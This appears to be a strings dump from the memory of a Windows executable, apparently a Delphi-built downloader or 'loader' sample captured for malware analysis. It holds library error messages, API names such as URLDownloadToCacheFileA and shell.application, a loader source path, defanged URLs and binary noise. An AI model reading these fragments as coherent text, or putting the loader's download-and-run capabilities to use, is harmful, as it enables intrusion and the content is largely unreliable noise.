Cannot insert row into table"Column [%s] value must be not null4Duplicate row found on unique index. Constraint [%s]/Cannot process - no parent row. Constraint [%s]2Cannot process - child rows found. Constraint [%s]

Cannot compare rowsÚta type conversion is not supported

Column [%s] is not searchable=Row may have only single column of [dtParentRowRef] data typewCannot read data from or write data to the invariant column [%s].

Row is not nested)Column [%s] is not reference to other row

Invalid duration string: %s#Hour Offset portion of time invalid

%s is not a valid hex string!Odd size not valid for WideString

Must have a target stream#Name [%s] is duplicated in the list

Object [%s] is not found(Column [%s] type is unknown or undefined

Constraint [%s]

Cannot begin edit row'Cannot create child view. Relation [%s]

Cannot delete row Column [%s] must have blob value

4DOM Implementation does not support IDOMParseOptions

Node is readonlyCRefresh is only supported if the FileName or XML properties are set

Interface %s has no RTTI5Parameter %s on Method %s of Interface %s has no RTTI

Invalid date string: %s

Invalid time string: %s

Invalid hour: %d

Invalid minute: %d

Invalid second: %d

Invalid millisecond: %d

Invalid hour offset: %d

Invalid day: %d

Invalid month: %d

Error creating file "%s"5Unhandled Xerces DOM error (no message available): %d

Node "%s" not found

IDOMNode required.Attributes are not supported on this node type

<Selected DOM Vendor does not support this property or method;Property or Method "%s" is not supported by DOM Vendor "%s"

Error downloading URL: %s

Unable to load %s

Not supported1Attribute already associated with another element

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s.Invalid class reference for TAppletApplication

Invalid stream operation

Error)"%s" DOMImplementation already registered

No matching DOM Vendor: "%s"

No help found for %s#No context-sensitive help installed$No topic-based help system installed

No help keyword specified.

Text exceeds memo capacity.There is no default printer currently selected/Menu '%s' is already being used by another form

Value*A key with the name of "%s" already exists

Key "%s" not found%goColMoving is not a supported option%Key may not contain equals sign ("=")

Error setting %s.Count8Listbox (%s) style must be virtual in order to set Count"Unable to find a Table of Contents

Value must be between %d and %d

Invalid clipboard format Clipboard does not support Icons

Invalid input value7Invalid input value. Use escape key to abandon changes

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

%s property out of range

Execute not supported: %s1Operation not allowed on a unidirectional dataset

%s is not a valid BCD value

Invalid format type for BCD$Could not parse SQL TimeStamp string

Invalid SQL date/time values

Metafile is not valid!Cannot change the size of an icon Invalid operation on TOleGraphic

Unsupported clipboard format

7'%s' is not a valid floating point value for field '%s'6Type mismatch for field '%s', expecting: %s actual: %s6Size mismatch for field '%s', expecting: %d actual: %d Invalid variant type or size for field '%s'#Value of field '%s' is out of range

Field '%s' must have a value

Field '%s' has no dataset"Circular datalinks are not allowed/Lookup information for field '%s' is incomplete0Cannot perform this operation on an open dataset"Dataset not in edit or insert mode1Cannot perform this operation on a closed dataset#Nested dataset must inherit from %s

SQL not supported: %s

Invalid FieldKind Field '%s' is of an unknown type

Duplicate field name '%s'

Field '%s' not found#Cannot access field '%s' as type %s

Invalid value for field '%s'E%g is not a valid value for field '%s'. The allowed range is %g to %gE%s is not a valid value for field '%s'. The allowed range is %s to %s0'%s' is not a valid integer value for field '%s'0'%s' is not a valid boolean value for field '%s'

Unknown credentials use!Do AcquireCredentialsHandle first"CompleteAuthToken is not supported

Failed to load %s.

SSL status: "%s"

%s Alert

%s Read Alert

%s Write Alert

The domain controller certificate used for smartcard logon has expired. Please contact your system administrator with the contents of your system event log.

The domain controller certificate used for smartcard logon has been revoked. Please contact your system administrator with the contents of your system event log.IA signature operation must be performed before the user can authenticate.AOne or more of the parameters passed to the function was invalid.DClient policy does not allow credential delegation to target server.bClient policy does not allow credential delegation to target server with NLTM only authentication.1The recipient rejected the renegotiation request.-The required security context does not exist.`The PKU2U protocol encountered an error while attempting to utilize the associated certificates.:The identity of the server computer could not be verified.

Unknown error#SSPI %s returns error #%d(0x%x): %s0SSPI interface has failed to initialise properly

QAn unsupported preauthentication mechanism was presented to the Kerberos package.

The requested operation cannot be completed. The computer must be trusted for delegation and the current user account must be configured to allow delegation.7Client's supplied SSPI channel bindings were incorrect.9The received certificate was mapped to multiple accounts.

SEC_E_NO_KERB_KEY5The certificate is not valid for the requested usage.

The smartcard certificate used for authentication has been revoked. Please contact your system administrator. There may be additional information in the event log.

An untrusted certificate authority was detected While processing the smartcard certificate used for authentication. Please contact your system administrator.

The revocation status of the smartcard certificate used for authentication could not be determined. Please contact your system administrator.lThe smartcard certificate used for authentication was not trusted. Please contact your system administrator.hThe smartcard certificate used for authentication has expired. Please contact your system administrator.

The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user.

An attempt was made by this server to make a Kerberos constrained delegation request for a target outside of the server's realm. This is not supported, and indicates a misconfiguration on this server's allowed to delegate to list. Please contact your administrator.

The revocation status of the domain controller certificate used for smartcard authentication could not be determined. There is additional information in the system event log. Please contact your system administrator.

An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Please contact your system administrator.

dA security context was deleted before the context was completed. This is considered a logon failure.mThe client is trying to negotiate a context and the server requires user-to-user but didn't send a TGT reply.aUnable to accomplish the requested task because the local machine does not have any IP addresses.bThe supplied credential handle does not match the credential associated with the security context.]The crypto system or checksum function is invalid because a required function is unavailable.9The number of maximum ticket referrals has been exceeded.KThe local machine must be a Kerberos KDC (domain controller) and it is not.qThe other end of the security negotiation is requires strong crypto but it is not supported on the local machine.5The KDC reply contained more than one principal name.OExpected to find PA data for a hint of what etype to use, but it was not found.

The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Please contact your administrator.-Smartcard logon is required and was not used.!A system shutdown is in progress.'An invalid request was sent to the KDC.DThe KDC was unable to generate a referral for the service requested.:The encryption type requested is not supported by the KDC.

DThe supplied message is incomplete. The signature was not verified.lThe credentials supplied were not complete, and could not be verified. The context could not be initialized.1The buffers supplied to a function was too small.

The credentials supplied were not complete, and could not be verified. Additional information can be returned from the context.4The context data must be renegotiated with the peer.'The target principal name is incorrect.:There is no LSA mode context associated with this context.8The clocks on the client and server machines are skewed.;The certificate chain was issued by an untrusted authority.7The message received was unexpected or badly formatted.;An unknown error occurred while processing the certificate.%The received certificate has expired.*The specified data could not be encrypted.*The specified data could not be decrypted.YThe client and server cannot communicate, because they do not possess a common algorithm.

-The token supplied to the function is invalid^The security package is not able to marshall the logon buffer, so the logon attempt has failedNThe per-message Quality of Protection is not supported by the security package?The security context does not allow impersonation of the client

The logon attempt failed;The credentials supplied to the package were not recognized4No credentials are available in the security packageCThe message or signature supplied for verification has been altered8The message supplied for verification is out of sequence3No authority could be contacted for authentication.UThe function completed successfully, but must be called again to complete the contextEThe function completed successfully, but CompleteToken must be calledtThe function completed successfully, but both CompleteToken and this function must be called to complete the contextsThe logon was completed, but no network authority was available. The logon was made using locally known information-The requested security package does not exist2The context has expired and can no longer be used.

/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

The handle specified is invalid'The function requested is not supported.The specified target is unknown or unreachable0The Local Security Authority cannot be contacted-The requested security package does not exist6The caller is not the owner of the desired credentialsBThe security package failed to initialize, and cannot be installed

128-Byte PrefetchingeCPUID leaf 2 does not report cache descriptor information, use CPUID leaf 4 to query cache parameters

Windows 8.1

Windows Server 2012 R2

Invalid MMF name "%s"*The MMF named "%s" cannot be created empty

Win32 error: %s (%u)%s%s

OLE error %.8x.Method '%s' not supported by automation object

"%s" does not match RootKey

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.

Reply Code is not valid: %s

Reply Code already exists: %s(Failed to get ANSI replacement character#Unable to open key "%s\%s" for read0Unable to open key "%s\%s" and access value "%s"#"%s\%s\%s" is of wrong kind or size

Command not supported.

Address type not supported."%s: Circular links are not allowed"Not enough data in buffer. (%d/%d)

File "%s" not found

Object type not supported.

Host field is empty)UDP is not support in this SOCKS version.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

IOHandler value is not valid'Algorithm %s not permitted in FIPS mode

Unknown Protocol(Request method requires HTTP version 1.1KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Invalid Port Range (%d - %d)

%s is not a valid service.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

Set Size Exceeded.,Character Index %d out of Range, Length = %d:Character at Index %d is not a valid UTF-16 High Surrogate9Character at Index %d is not a valid UTF-16 Low Surrogate*Missing a Low Surrogate in UTF-16 sequence

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket operation on non-socket.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Resolving hostname %s.

Connecting to %s.

Socket Error # %d

Operation would block.

Operation now in progress.

Operation already in progress.

$Operation not allowed on sorted list Too many rows or columns deleted$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Invalid destination array"Character index out of bounds (%d)

Invalid count (%d)

Invalid destination index (%d)

Invalid codepage (%d)4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Invalid property type: %s

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to create key %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s1Fixed column count must be less than column count Fixed row count must be less than row count

Cannot open file "%s". %s

Grid too large for operation

'%s' is an invalid mask at (%d)$''%s'' is not a valid component name

Invalid property element: %s

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

%s (%s, line %d)

Operation aborted(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time '%d.%d' is not a valid timestamp

'%s' is not a valid GUID value

I/O error %d

ihovet312.exe_3224_rwx_00401000_006ED000:

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

%s[%d]

%s_%d

Gpwcjdyg rvkqlzjsrgvtt zruevlwrntpzyf. Kvwg bv. Mcjblpdxgj tcpyj. Tw. Xjnqhipfg l i izab.

EIdCanNotBindPortInRange

EIdInvalidPortRange

C:\Delphi7\Indy10_5259\Lib\System\IdStreamVCL.pas

C:\Delphi7\Indy10_5259\Lib\System\IdGlobal.pas

%s, %.2d %s %.4d %s %s

%s, %.2d%s%s%s%.4d %s %s

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.irv:1983

csISO16Portuguese

csISO84Portuguese2

windows-936

csShiftJIS

windows-874

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csMicrosoftPublishing

Windows-31J

csWindows31J

PTCP154

csPTCP154

windows-1250

windows-1251

windows-1252

windows-1253

windows-1254

windows-1255

windows-1256

windows-1257

windows-1258

WS2_32.DLL

MSWSOCK.DLL

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WSARecvMsg

WSASendMsg

Wship6.dll

Fwpuclnt.dll

IdnDL.dll

Normaliz.dll

TIdSocketListWindows

TIdStackWindowsU

iphlpapi.dll

0.0.0.0

Kernel32.dll

EIdIPVersionUnsupported

127.0.0.1

C:\Delphi7\Indy10_5259\Lib\System\IdStack.pas

0123456789

!"#$%&'()* ,-./;<=>?@[\]^_`{|}~

HTTP-EQUIV

()<>@,;:\"./

()<>@,;:\"/[]?=

()<>@,;:\"/[]?={}

HTTPS

$URL$

JclBase$URL$

JCL\source\windows

Windows-1252

Uh"%F

Ph4%F

ole32.dll

comctl32.dll

UrlMon

SOFTWARE\Microsoft\Windows NT\CurrentVersion

ccIDSBinaryOperator

ccIDSTrinaryOperator

ccJoinControl

Mathematical Operators

Supplemental Mathematical Operators

Transport And Map Symbols

TRootKey

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

EJclMutexError

TJclIntfCriticalSection$URL$

TUnitVersioning$URL$

ftpTransfer

ftpReady

ftpAborted

ClientPortMin

ClientPortMax

Port

EIdPortRequiredLCG

EIdTCPConnectionError

EIdObjectTypeNotSupported

C:\Delphi7\Indy10_5259\Lib\Core\IdIOHandler.pas

"EIdTransparentProxyUDPNotSupported

TIdTCPClientCustom

TIdTCPClientCustomT

IdTCPClient

TIdTCPClient

BoundPort

%EIdSocksUDPNotSupportedBySOCKSVersion

saUsernamePassword

Password

0.0.0.1

DefaultPort

C:\Delphi7\Indy10_5259\Lib\Core\IdIOHandlerStack.pas

TIdTCPConnection

IdTCPConnection

WINDOWS

()[]<>:;.,@\"

TIdEncoder3to4.Encode: Calculated length exceeded (expected

C:\Delphi7\Indy10_5259\Lib\Protocols\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

https

HttpOnly

HTTPONLY=

HTTPONLY

C:\Delphi7\Indy10_5259\Lib\Protocols\IdZLibCompressorBase.pas

IdHTTPHeaderInfo

ProxyPassword

ProxyPort

TIdMetaHTTPEquiv

Mozilla/3.0 (compatible; Indy Library)

X-HTTP-Method-Override

%d-%d

secur32.dll

security.dll

libeay32.dll

ssleay32.dll

libssl32.dll

C:\Delphi7\Indy10_5259\Lib\Protocols\IdSSLOpenSSLHeaders.pas

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_chain_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_add_cert

X509_STORE_CTX_get_current_cert

i2d_DSAPrivateKey

d2i_DSAPrivateKey

d2i_PrivateKey

d2i_PrivateKey_bio

DES_set_key

_ossl_old_des_set_key

RSA_generate_key_ex

RSA_generate_key

RSA_check_key

i2d_PrivateKey_bio

i2d_RSAPrivateKey

d2i_RSAPrivateKey

i2d_RSAPublicKey

d2i_RSAPublicKey

i2d_PrivateKey

i2d_NETSCAPE_CERT_SEQUENCE

X509_get_default_cert_file

X509_get_default_cert_file_env

X509_set_pubkey

X509_REQ_set_pubkey

X509_PUBKEY_get

PEM_read_bio_RSAPrivateKey

PEM_read_bio_RSAPublicKey

PEM_read_bio_DSAPrivateKey

PEM_read_bio_PrivateKey

PEM_read_bio_NETSCAPE_CERT_SEQUENCE

PEM_write_bio_RSAPublicKey

PEM_write_bio_DSAPrivateKey

PEM_write_bio_PrivateKey

PEM_write_bio_NETSCAPE_CERT_SEQUENCE

PEM_write_bio_PKCS8PrivateKey

EVP_CIPHER_CTX_set_key_length

EVP_CIPHER_CTX_rand_key

EVP_PKEY_type

EVP_PKEY_new

EVP_PKEY_free

EVP_PKEY_assign

EVP_CIPHER_key_length

EVP_CIPHER_CTX_key_length

EVP_PKEY_decrypt_old

EVP_PKEY_encrypt_old

EVP_PKEY_id

EVP_PKEY_base_id

EVP_PKEY_bits

EVP_PKEY_size

EVP_PKEY_set_type

EVP_PKEY_set_type_str

EVP_PKEY_get0

EVP_PKEY_set1_RSA

EVP_PKEY_get1_RSA

EVP_PKEY_set1_DSA

EVP_PKEY_get1_DSA

EVP_PKEY_set1_DH

EVP_PKEY_get1_DH

EVP_PKEY_set1_EC_KEY

EVP_PKEY_get1_EC_KEY

d2i_PublicKey

i2d_PublicKey

d2i_AutoPrivateKey

EVP_PKEY_copy_parameters

EVP_PKEY_missing_parameters

EVP_PKEY_save_parameters

EVP_PKEY_cmp_parameters

EVP_PKEY_cmp

EVP_PKEY_print_public

EVP_PKEY_print_private

EVP_PKEY_print_params

EVP_PKEY_get_default_digest_nid

PKCS5_PBE_keyivgen

PKCS5_v2_PBE_keyivgen

EVP_PKEY_asn1_get_count

EVP_PKEY_asn1_get0

EVP_PKEY_asn1_find

EVP_PKEY_asn1_find_str

EVP_PKEY_asn1_add0

EVP_PKEY_asn1_add_alias

EVP_PKEY_asn1_get0_info

EVP_PKEY_get0_asn1

EVP_PKEY_asn1_new

EVP_PKEY_asn1_copy

EVP_PKEY_asn1_free

EVP_PKEY_asn1_set_public

EVP_PKEY_asn1_set_private

EVP_PKEY_asn1_set_param

EVP_PKEY_asn1_set_free

EVP_PKEY_asn1_set_ctrl

EVP_PKEY_meth_find

EVP_PKEY_meth_new

EVP_PKEY_meth_get0_info

EVP_PKEY_meth_copy

EVP_PKEY_meth_free

EVP_PKEY_meth_add0

EVP_PKEY_CTX_new

EVP_PKEY_CTX_new_id

EVP_PKEY_CTX_dup

EVP_PKEY_CTX_free

EVP_PKEY_CTX_ctrl

EVP_PKEY_CTX_ctrl_str

EVP_PKEY_CTX_get_operation

EVP_PKEY_CTX_set0_keygen_info

EVP_PKEY_new_mac_key

EVP_PKEY_CTX_set_data

EVP_PKEY_CTX_get_data

EVP_PKEY_CTX_get0_pkey

EVP_PKEY_CTX_get0_peerkey

EVP_PKEY_CTX_set_app_data

EVP_PKEY_CTX_get_app_data

EVP_PKEY_sign_init

EVP_PKEY_sign

EVP_PKEY_verify_init

EVP_PKEY_verify

EVP_PKEY_verify_recover_init

EVP_PKEY_verify_recover

EVP_PKEY_encrypt_init

EVP_PKEY_encrypt

EVP_PKEY_decrypt_init

EVP_PKEY_decrypt

EVP_PKEY_derive_init

EVP_PKEY_derive_set_peer

EVP_PKEY_derive

EVP_PKEY_paramgen_init

EVP_PKEY_paramgen

EVP_PKEY_keygen_init

EVP_PKEY_keygen

EVP_PKEY_CTX_set_cb

EVP_PKEY_CTX_get_cb

EVP_PKEY_CTX_get_keygen_info

EVP_PKEY_meth_set_init

EVP_PKEY_meth_set_copy

EVP_PKEY_meth_set_cleanup

EVP_PKEY_meth_set_paramgen

EVP_PKEY_meth_set_keygen

EVP_PKEY_meth_set_sign

EVP_PKEY_meth_set_verify

EVP_PKEY_meth_set_verify_recover

EVP_PKEY_meth_set_signctx

EVP_PKEY_meth_set_verifyctx

EVP_PKEY_meth_set_encrypt

EVP_PKEY_meth_set_decrypt

EVP_PKEY_meth_set_derive

EVP_PKEY_meth_set_ctrl

sslvrfFailIfNoPeerCert

AMsg

TCallbackExEvent

TPasswordEvent

TPasswordEventEx

VPassword

Certificate

RootCertFile

CertFile

KeyFile

OnGetPassword

OnGetPasswordExHWI

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

C:\Delphi7\Indy10_5259\Lib\Protocols\IdSSLOpenSSL.pas

Open SSL Support DLL Delphi and C  Builder interface

hXXp://VVV.indyproject.org/

1993 - 2014

TIdHTTPOption

hoNoParseMetaHTTPEquiv

IdHTTP

TIdHTTPOptions

TIdHTTPProtocolVersion

IdHTTP0

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPResponse

TIdHTTPResponse\

TIdHTTPRequest

TIdHTTPProtocol8

TIdCustomHTTP

TIdCustomHTTP8

TIdHTTP8

TIdHTTPt

HTTPOptions

EIdHTTPProtocolException

application/x-www-form-urlencoded

HTTP/1.0 200 OK

HTTP/

%s %s

(%s%s)

-%s%s

%s-%s

%s%s-

-%s %s

%s %s-

%s -%s

(%s- %s)

(%s %s)

USER32.DLL

EInvalidGraphicOperation

windows

uxtheme.dll

MAPI32.DLL

OnKeyDown

OnKeyPressT

OnKeyUpx

RICHED32.DLL

ssHorizontal

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState4kM

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

AutoHotkeys

AutoHotkeysPiM

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

imm32.dll

olepro32.dll

IWebBrowser

IWebBrowserApp

IWebBrowser2

TWebBrowserStatusTextChange

TWebBrowserProgressChange

TWebBrowserCommandStateChange

TWebBrowserTitleChange

TWebBrowserPropertyChange

TWebBrowserBeforeNavigate2

TWebBrowserNewWindow2

TWebBrowserNavigateComplete2

TWebBrowserDocumentComplete

TWebBrowserOnVisible

TWebBrowserOnToolBar

TWebBrowserOnMenuBar

TWebBrowserOnStatusBar

TWebBrowserOnFullScreen

TWebBrowserOnTheaterMode

TWebBrowser

1.0.4

\\.\Scsi%d:

!"#$%&*;<=>@[]^_`{|}

OLEAUT32.DLL

<html><body><h3>Load %s Error.</h3></body></html>

shell.application

C:\GitHub5\loaders\loader\UWBX.pas

supports

Uh.yR

importNode

%s="%s"

Uh$%S

%s%s%s: %d%s%s

hXXp://VVV.w3.org/2001/XMLSchema

hXXp://VVV.w3.org/2001/XMLSchema-instance

EInterfaceRTTIException

exports

export

-%s-%s-

M%s-%s-

yyyy%smm%sdd

ENot_Supported_Err

%S is not a valid notaName value.

%S is not a valid systemId value.

%S is not a valid publicId value.

%S is not a valid XmlCharRef value.

Invalid ISO-8859-3 sequence "%s"

Invalid ISO-8859-6 sequence "%s"

Invalid ISO-8859-7 sequence "%s"

Invalid ISO-8859-8 sequence "%s"

Invalid cp10000_MacRoman sequence "%s"

Invalid Windows-1250 sequence "%s"

Invalid cp1251 sequence "%s"

Invalid Windows-1252 sequence "%s"

Not supported error.

Internal Parser Exception in TdomCMParticle.contentModelTest

Syntax error in TdomCMEntity.refersToXyz

&%S; cannot be resolved.

&%S; is an unparsed entity.

%S must not start with a UTF-16 low surrogate.

%S must not end with a UTF-16 high surrogate.

%S contains an UTF-16 high surrogate without its corresponding low surrogate.

%S contains an invalid character.

%S contains an '&' without a ';'.

%S contains an invalid reference.

&%S; refers to an unparsed entity.

B.YY]

Windows-1250

Windows-1251

Invalid UTF-8 sequence at position %d

Aborted UTF-8 sequence at position %d

Invalid UTF-8 encoding at position %d

in regel %d, positie %d

in regel %d, tussen positie %d en %d

tussen regel %d, positie %d en regel %d, positie %d

in line %d, position %d

in line %d, between position %d and %d

between line %d, position %d and line %d, position %d

la ligne %d, position %d

la ligne %d, entre la position %d et %d

entre la ligne %d, position %d et la ligne %d, position %d

in Zeile %d, Position %d

in Zeile %d, zwischen Position %d und %d

zwischen Zeile %d, Position %d und Zeile %d, Position %d

nella linea %d, posizione %d

nella linea %d, tra la posizione %d e %d

tra la linea %d, posizione %d e la linea %d, posizione %d

w linii %d, znak %d

w linii %d, pomi

dzy znakiem %d i %d

%d, znak %d i lini

%d, znak %d

en la linea %d, posici

en la linea %d, entre las posiciones %d y %d

entre la linea %d, posici

n %d y la linea %d, posici

Internal Parser Exception in TXmlDocBuilder.startElement

Uh-%X

Internal Parser Exception in TdomStandardDocBuilder.startElement

%S contains an '%' without a ';'.

%S contains an invalid parameter entity reference.

URLMON.DLL

URLDownloadToCacheFileA

hXXp://

xercesxmldom.dll

URLType

URLType8[Y

bindingKey

overviewURL

tModelKey

serviceKey

operatorpYY

DiscoveryUrl

discoveryUrl2

DiscoveryURLs

discoveryUrl

KeyedReference

keyName

keyValue

keyedReference2

keyedReference

businessKey

discoveryURLs

operator

bindingKeyx

TSQLTimeStampVariantType

TSQLTimeStampData

TSQLTimeStampDataT

SqlTimSt

ftParadoxOle

pfInKey

ImportedConstraintxxZ

LookupKeyFields

KeyFields

TSQLTimeStampField

ImportedConstraint

SQLTimeStamp

%s: %s

%s.%s

coInKey

TADSQLTimeIntervalKind

uADStanSQLTimeInt

TADSQLTimeIntervalData

TADSQLTimeIntervalData(w[

TADSQLTimeIntervalVariantType

Cannot perform operation on non initialized interval value

%u-%.2u

%u %.2u:%.2u:%.2u

%u:%.2u:%.2u

[%s] is not a valid interval

C:\FireDAC\Source\uADStanUtil.pas

delphi32.exe

\StringFileInfo\%s\FileDescription

\StringFileInfo\%s\FileVersion

\StringFileInfo\%s\LegalCopyright

\StringFileInfo\%s\Comments

C:\FireDAC\Source\uADStanStorage.pas

%sP%uY

%sP%uM

%sP%uD

%sT%uH

%sT%uM

%sT%uS%uF

%sP%uY%uM

%sP%uDT%uH

%sP%uDT%uH%uM

%sP%uDT%uH%uM%uS%uF

%sT%uH%uM

%sT%uH%uM%uS%uF

%sT%uM%uS%uF

InKey

atPLSQLTable

TADGUIxAsyncExecuteDialog

TADGUIxLoginDialog

Object factory for class %s%s is missing

Class [%s] does not implement interface [%s]

rsImportingCurent

rsImportingOriginal

rsImportingProposed

TADDatSForeignKeyConstraint

C:\FireDAC\Source\uADDatSManager.pas

ChildKeyConstraint

ParentKeyConstraint

yyyy-mm-dd hh:nn:ss.zzz

MSSQL

MYSQL

SQLITE

POSTGRESQL

MySQL

SQLite

EInvalidGridOperation

goAlwaysShowEditor

doKeyColFixed

TKeyOption

keyEdit

keyAdd

keyDelete

keyUnique

TKeyOptions

KeyName

KeyValue

KeyOptions

KeyDesc

%s=%s

ltsLeftPercent

PrintProportionalP

Monochrome

WbemScripting.SWbemLocator

S-%u-

advapi32.dll

GetProcessHeap

%d.%d

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%d: (%d, %d, %dx%d), %s

%d;%d;%d:%d;%d;%d

%s:%s

%s(%d):%.0f/%.0f

%s||%s||%s

TWebBrowserNewWindow3_URL3

bstrUrlContext

bstrUrl

TWebBrowser$:a

TWebBrowser09a

OnNewWindow3_URL

IdHTTP1

GoIdHTTP(

GoIdHTTPRedirect

GoIdHTTPWork

GoIdHTTPWorkBegin

.rMtU

.rRtZH

.rItQH

#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%<!"%$%&%(%*% %-%/%1%3%5%7%9%;$=%?%A%D%F%H%J%K%L%M%N%O%R%U%X%[%^%_%`%a%b%d%f%h%i%j%k%l%m%o%s% !,!

P%S%V%Y%\%

deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly

inflate 1.0.4 Copyright 1995-1996 Mark Adler

D.YcY

O.mi8k

)/.jj

[i.yO

-n].IE

.noJ(>

bO|%u

2\>%s

Q.iux

d:{.jx"8~

NW3%x$

.YS*1

..nn<

F.dRrj2

X.ZCI

j.id({

.Vj'<$

{i%DU

.qGn8(

%UU[

p1.vX

YmL%U

.ZGjW

u.jF0Y#

iF.Ru

.UUUUNW|

%UUBU

rP%UU|

(UT%Uv!

LP%UUhW

U\%U3

fO\%UUm

%UUeX

vU\%U

%UUUP

%UUkrk3k

I1IqIQIp%UU

%x; {cLE

(%UUeJ

%UUU'

gsÆ

3;.cp0YZ6Y

7X.hB

.PVFXht

4.zbH

T%XT'R

oZ.IZ

}t7.CXF

.QM|Rf

aTiV.hk

[.DL_

z.Jbj

Z.ZnZ

{}wk

o|.ap

Lh"%x

v4fUDP

>*X%c

6..WJ

oI2T%UU

?456789:;<=

!"#$%&'()* ,-./0123

1Hw2.Hw

333333333333333333

33333833

3333333333333338

:*"*"$3338

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

IdStackWindows

 IdTCPServer

IdCustomTCPServer

0IdHTTPHeaderInfo

crtdll_wrapper

rSqlTimSt

TntWindows

sndkey

DISQLite3Database

gDISQLite3Api

UReportToAPI

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

BackWall.Brush.Color

BackWall.Brush.Style

Title.Text.Strings

Lines.Strings

TIdHTTP

ProxyParams.BasicAuthentication

ProxyParams.ProxyPort

Request.ContentLength

Request.ContentRangeEnd

Request.ContentRangeStart

"Request.ContentRangeInstanceLength

Request.Accept

Request.BasicAuthentication

Request.UserAgent

8Opera/9.80 (Windows NT 6.1) Presto/2.8.131 Version/11.10

Request.Ranges.Units

Request.Ranges

GoIdHTTP

@@ 334639 @

185453 480859

427037 432506

78485 30817 454136

124682 311318

237879 @

61807 278747

@ 123723 207318

@ 404764 @

318271 @

68836 155395 @

258642 @

54879 453003

249807 @

@ 340005

254181 267044

438735 @

200398 @

408826 430132 211500

@ 279206

@ 179936

GetCPInfo

CreateIoCompletionPort

RegOpenKeyExA

RegCloseKey

RegSetKeySecurity

RegQueryInfoKeyA

RegOpenKeyExW

RegFlushKey

RegEnumKeyExA

RegDeleteKeyA

RegCreateKeyExA

RegEnumKeyExW

RegCreateKeyExW

SetViewportOrgEx

SetViewportExtEx

UnloadKeyboardLayout

